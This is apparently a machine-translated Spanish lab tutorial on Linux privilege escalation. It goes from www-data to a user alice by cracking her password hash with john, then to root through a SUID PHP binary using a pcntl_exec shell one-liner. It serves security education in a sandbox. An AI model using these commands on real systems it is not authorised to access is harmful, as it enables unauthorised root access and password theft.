Escalar Privilegios a Root a través de un Usuario Intermedio en Nmap

NmapNmapBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, aprenderemos cómo elevar los privilegios al usuario root cuando no podemos elevarlos directamente a root. Lograremos esto elevando primero los privilegios a otro usuario regular y luego utilizando los privilegios de ese usuario para elevarlos al usuario root. Este usuario intermedio se conoce como usuario "piedra de toque" (stepping stone).

El objetivo de este laboratorio es elevar los privilegios desde el usuario www-data al usuario alice y luego desde el usuario alice al usuario root.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/save_output("Save Output to File") subgraph Lab Skills nmap/installation -.-> lab-416146{{"Escalar Privilegios a Root a través de un Usuario Intermedio en Nmap"}} nmap/save_output -.-> lab-416146{{"Escalar Privilegios a Root a través de un Usuario Intermedio en Nmap"}} end

Inicializar el entorno del laboratorio

En este paso, inicializaremos el entorno del laboratorio.

  1. Primero, abre una terminal y navega hasta el directorio /home/labex/project:

    cd /home/labex/project
  2. Ejecuta el siguiente comando para configurar el entorno del laboratorio:

    ./env_setup.sh

Este comando descargará y ejecutará un script que configura el entorno necesario para el laboratorio. Después de ejecutar este comando, deberías cambiar al usuario www-data, simulando una shell inicial obtenida a través de una vulnerabilidad web.

Intentar la escalada de privilegios SUID

En este paso, intentaremos elevar los privilegios utilizando la técnica SUID (Set User ID). Buscaremos archivos ejecutables con el bit SUID establecido, que se pueden ejecutar con los permisos del propietario del archivo (en este caso, root).

  1. Primero, busquemos archivos ejecutables SUID a los que el usuario www-data pueda acceder:

    find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt

    Este comando buscará en todo el sistema de archivos archivos propiedad del usuario root y con el bit SUID establecido (modo de permisos 4000).

  2. Después de ejecutar el comando, deberías ver una lista de archivos ejecutables SUID en el archivo www-data_suid_files.txt. Examinemos el contenido de este archivo:

    cat ~/www-data_suid_files.txt

Sin embargo, en este caso, no hay archivos adecuados para la escalada de privilegios SUID.

Investigar el directorio de usuario

Dado que no pudimos elevar los privilegios utilizando la técnica SUID, investiguemos el directorio de usuario en busca de posibles usuarios "piedra de toque" (stepping stone).

  1. Primero, guardemos el contenido del directorio /home en un archivo para su posterior análisis:

    ls -alh /home > ~/home_dir_contents.txt

    Este comando listará el contenido del directorio /home en formato detallado, incluyendo tamaños de archivos y permisos, y lo guardará en el archivo home_dir_contents.txt.

  2. A continuación, examinemos el contenido del archivo home_dir_contents.txt para identificar posibles "piedras de toque":

    cat ~/home_dir_contents.txt

    En la salida deberías ver un directorio llamado alice, lo que indica la existencia de un usuario llamado alice en el sistema.

Intentar elevar los privilegios al usuario Alice

Dado que el usuario www-data no tiene acceso al directorio de alice, necesitamos encontrar una forma de elevar los privilegios al usuario alice primero.

  1. Veamos el archivo /etc/passwd para obtener información sobre el usuario alice:

    cat /etc/passwd | grep alice > ~/alice_info.txt
  2. Comprobemos el contenido del archivo alice_info.txt para ver los detalles del usuario alice

    cat ~/alice_info.txt

    Salida esperada:

    alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash

    En la salida, deberías ver una entrada para el usuario alice, incluyendo el hash de la contraseña.

  3. Para descifrar el hash de la contraseña, podemos usar la herramienta john. Abre una nueva terminal y ejecuta el siguiente comando:

    john ~/alice_info.txt > cracked_passwords.txt

    Ejemplo de salida:

    Created directory: /var/www/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    Esto iniciará el proceso de descifrado de la contraseña. Una vez que se haya descifrado la contraseña, deberías ver la contraseña en el archivo cracked_passwords.txt.

    cat ~/cracked_passwords.txt

    Ejemplo de salida:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    beautiful        (alice)
  4. En este caso, la contraseña del usuario alice es beautiful. Utiliza el comando su para cambiar al usuario alice:

    su - alice

    Ingresa la contraseña que desciframos anteriormente (beautiful) cuando se te solicite.

    beautiful
  5. Después de cambiar exitosamente al usuario alice, navega al directorio de alice y crea un nuevo archivo llamado alice.txt:

    cd /home/alice

    Crea un nuevo archivo llamado alice.txt:

    touch ~/alice.txt

    Ahora deberías tener acceso al directorio de alice y a su contenido.

Intentar la escalada de privilegios SUID como el usuario Alice

Ahora que hemos elevado los privilegios al usuario alice, intentemos nuevamente la técnica de escalada de privilegios SUID.

  1. Asegúrate de estar en el directorio de usuario de alice:

    cd /home/alice

    Ejecuta el siguiente comando para encontrar archivos con el bit SUID establecido:

    find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
  2. Comprueba el contenido del archivo alice_suid_files.txt para ver la lista de archivos SUID:

    cat alice_suid_files.txt

    Salida esperada:

    ...
    /var/bin/php
    ...

    Esta vez, deberías ver un archivo ejecutable /var/bin/php en la salida. Este archivo se puede utilizar para la escalada de privilegios SUID.

  3. Para elevar los privilegios al usuario root, ejecuta el siguiente comando:

    /var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

    Este comando ejecutará un script de PHP que crea una nueva shell con privilegios de root.

  4. Ahora deberías tener una shell de root, indicada por el prompt # en la terminal. Verifica que tienes privilegios de root creando un archivo en el directorio raíz:

    touch /root/root.txt

    Si el archivo se crea sin errores de permisos, has elevado con éxito los privilegios al usuario root utilizando la técnica SUID.

Comprender la diferencia en los permisos de directorio

Puedes estar preguntándote por qué el usuario alice pudo encontrar el archivo ejecutable SUID php, mientras que el usuario www-data no. La respuesta radica en los permisos de directorio.

Después del último paso, aún debes tener una shell como el usuario root como la siguiente:

sh-5.1#
  1. Examinemos los permisos del directorio /var/bin y guardemos la salida en un archivo:

    ls -lh /var > /root/var_permissions.txt
  2. Comprobemos el contenido del archivo var_permissions.txt para ver los permisos del directorio /var:

    cat /root/var_permissions.txt

    Salida esperada:

    total 0
    ...
    drwxr-x--- 2 alice    alice     17 Apr 15 03:48 bin
    ...

    En la salida, deberías ver que el directorio /var/bin es propiedad del usuario y grupo alice. Otros usuarios no tienen permisos de lectura, escritura o ejecución para este directorio.

Esto significa que cuando elevamos los privilegios al usuario alice, obtuvimos acceso a archivos y directorios que antes eran inaccesibles para el usuario www-data. Esta diferencia en los permisos nos permitió encontrar y utilizar el archivo ejecutable SUID para la escalada de privilegios.

Resumen

En este laboratorio, aprendimos cómo elevar los privilegios al usuario root cuando la escalada directa a root no es posible. Lo logramos primero elevando los privilegios al usuario alice, un usuario "piedra de toque" (stepping stone), y luego utilizando los privilegios del usuario alice para elevarlos al usuario root.

La principal lección de este laboratorio es siempre tener en cuenta las diferencias en los permisos entre usuarios, ya que a veces se pueden aprovechar estas diferencias para la escalada de privilegios. Si bien utilizamos un ejemplo sencillo en este laboratorio, los escenarios del mundo real pueden ser más complejos, pero el principio fundamental sigue siendo el mismo: explotar las diferencias en los permisos de usuario para lograr la escalada de privilegios.